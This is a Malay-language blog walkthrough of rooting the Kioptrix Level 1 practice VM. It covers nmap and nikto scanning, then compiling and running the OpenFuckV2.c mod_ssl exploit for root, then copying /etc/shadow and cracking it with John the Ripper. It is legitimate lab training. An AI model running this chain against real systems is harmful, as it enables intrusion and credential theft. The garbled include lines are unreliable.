Kioptrix Level 1

Posted by ghimau under
Salam semuo. Ari ni den buek post pasal Kioptrix. Kioptrix ni adolah image linux yang vulnerable. Dengan bahaso mudah eh, image yang dibina khusus untuk di 'hack'.

Korang boleh la cubo download image ni di : http://www.kioptrix.com/dlvm/Kioptrix_Level_1.rar

Tanpa membuang maso, kito mulokan aktiviti mengeroot Kioptrix ni. Hehehe. Ok..mulo-mulo kito runkan image ni melalui VMWare. Image ini akan dapat ip secara dhcp.

Ok, ni paparan Kioptrix. Memang maklumat username dan password tak diberikan. So macam mano nak masuk? hehehe.. hack la bai.. :P



Ok, kito upkan image backtrack pulak. Image ni bertindak sebagai attacker/hacker. Jadi kito akan mula mengehack server Kioptrix ni. Macam mano nak tahu ip si Kioptrix ni? Sonang yo.. kito gunakan nbtscan dan buek sweep scan ikut range ip kito. Kalau nengok gambar kek bawah ni kito dah dapek ip bagi server Kioptrix ni.

  1. nbtscan x.x.x.x-x  



Hehe.. dah dapek ip eh.. apo laie nak buek? Kito buek la port scan. Den gunokan nmap. Dan kito cubo analisa result yang kito dapek.
  1. nmap -sS -sV 10.x.x.52  

  1. # Nmap 5.51 scan initiated Mon Jul 11 02:37:27 2011 as: nmap -sS -sV -oN kioptrix.txt 10.x.x.52  
  2. Nmap scan report for 10.x.x.52  
  3. Host is up (0.033s latency).  
  4. Not shown: 994 closed ports  
  5. PORT     STATE SERVICE     VERSION  
  6. 22/tcp   open  ssh         OpenSSH 2.9p2 (protocol 1.99)  
  7. 80/tcp   open  http        Apache httpd 1.3.20 ((Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)  
  8. 111/tcp  open  rpcbind     2 (rpc #100000)  
  9. 139/tcp  open  netbios-ssn Samba smbd (workgroup: MYGROUP)  
  10. 443/tcp  open  ssl/http    Apache httpd 1.3.20 ((Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)  
  11. 1024/tcp open  status      1 (rpc #100024)  
  12. MAC Address: 00:0C:29:3C:91:B3 (VMware)  

Hmm.. ada apache running. Version lama lak tu 1.3.20. Kito cubo scan gunokan nikto. Dan kito analisa result eh.
  1. ./nikto.pl -host 10.x.x.52 -output kioptrix_80.txt  


  1. - Nikto v2.1.4/2.1.5  
  2. + Target Host: 10.x.x.52  
  3. + Target Port: 80  
  4. + GET /: ETag header found on server, inode: 34821, size: 2890, mtime: 0x3b96e9ae  
  5. - Nikto v2.1.4/2.1.5  
  6. + Target Host: 10.x.x.52  
  7. + Target Port: 80  
  8. + GET /: ETag header found on server, inode: 34821, size: 2890, mtime: 0x3b96e9ae  
  9. + OSVDB-27487: GET /: Apache is vulnerable to XSS via the Expect header  
  10. + HEAD /: Apache/1.3.20 appears to be outdated (current is at least Apache/2.2.17). Apache 1.3.42 (final release) and 2.0.64 are also current.  
  11. + HEAD /: mod_ssl/2.8.4 appears to be outdated (current is at least 2.8.31) (may depend on server version)  
  12. + HEAD /: OpenSSL/0.9.6b appears to be outdated (current is at least 1.0.0d). OpenSSL 0.9.8r is also current.  
  13. + GET /: Allowed HTTP Methods: GET, HEAD, OPTIONS, TRACE  
  14. + OSVDB-877: GET /: HTTP TRACE method is active, suggesting the host is vulnerable to XST  
  15. + OSVDB-838: GET /: Apache/1.3.20 - Apache 1.x up 1.2.34 are vulnerable to a remote DoS and possible code execution. CAN-2002-0392.  
  16. + OSVDB-4552: GET /: Apache/1.3.20 - Apache 1.3 below 1.3.27 are vulnerable to a local buffer overflow which allows attackers to kill any process on the system. CAN-2002-0839.  
  17. + OSVDB-2733: GET /: Apache/1.3.20 - Apache 1.3 below 1.3.29 are vulnerable to overflows in mod_rewrite and mod_cgi. CAN-2003-0542.  
  18. + GET /: mod_ssl/2.8.4 - mod_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shell (difficult to exploit). CVE-2002-0082, OSVDB-756.  
  19. + OSVDB-682: GET /usage/: /usage/: Webalizer may be installed. Versions lower than 2.01-09 vulnerable to Cross Site Scripting (XSS). CA-2000-02.  
  20. + OSVDB-3268: GET /manual/: /manual/: Directory indexing found.  
  21. + OSVDB-3092: GET /manual/: /manual/: Web server manual found.  
  22. + OSVDB-3268: GET /icons/: /icons/: Directory indexing found.  
  23. + OSVDB-3233: GET /icons/README: /icons/README: Apache default file found.  
  24. + OSVDB-3092: GET /test.php: /test.php: This might be interesting...  

Hmm.. poning gak nak baco kan? Hehehe.. kito guno niktorat untuk proses output file ni dan kito cubo analisa. Kito bulih donload niktorat ni kek sini : http://sourceforge.net/projects/niktorat/files/
  1. ./niktorat kioptrix_80.txt kioptrix_80  



Hmm.. kito hanyo tertarik pado vulnerabilty remote exploit. Kito cubo cari exploit yang berkaitan berdasarkan CVE Number (CVE-2002-0082)
+ GET /: mod_ssl/2.8.4 - mod_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shell (difficult to exploit). CVE-2002-0082, OSVDB-756. Hmm.. kito akan gunokan OpenFuckV2.c untuk exploit kelemahan ni.

Ok.. bilo kito compile OpenFuckV2.c ni, kito akan dapek banyak error berkenaan dengan openssl rc4 dan md5. Kito tambah include file macam kek bawah ni dalam code dio.
  1. #include <openssl h="">  
  2. #include <openssl h="">  

Compilekan code OpenFuckV2.c dengan menggunokan command kek bawah ni. (Kalau ado error pasal xjumpo include file bagi ssl, pastikan install libssl-dev)
  1. gcc -o OpenFuckV2 OpenFuckV2.c -lcrypto  

Runkan exploit korang dengan command kek bawah ni :
  1. ./OpenFuckV2 0x6b 10.x.x.52 443  



Hehehe.. kito dapek r00t privillege.



Kito cubo crack password untuk server Kioptrix ni yo. Copy file /etc/passwd dan /etc/shadow dio.



Lopeh dah copy fail /etc/passwd dan /etc/shadow server Kioptrix ni. Kito cubo crack gunokan John The Ripper. Ikut command kek bawah ni. Tunggu lah sampai proses cracking solosai. Hehehe..
  1. ./unshadow /pentest/gh1mau/passwd.txt /pentest/gh1mau/shadow.txt > kioptrix.db  
  2. john kioptrix.db  
  3. john -show kioptrix.db  

Solosai.. Heheheh.. nanti ado maso den buek posting pasal Kioptrix Level 2 pulak yo. Happy Hacking dari pokcik ghimau :)

3 comments:

On 19 July 2011 at 09:30 , Mama's Chocolate said...

menarik tp mcm poning yo...kono cubo dulu la an an an

 
On 19 July 2011 at 18:28 , Rembulan NagaGala said...

Bro, kalo rajin list kan sekali sploit2 yg berkaitan nye link :D

 
On 7 August 2011 at 14:21 , Napie said...

selamat berposo.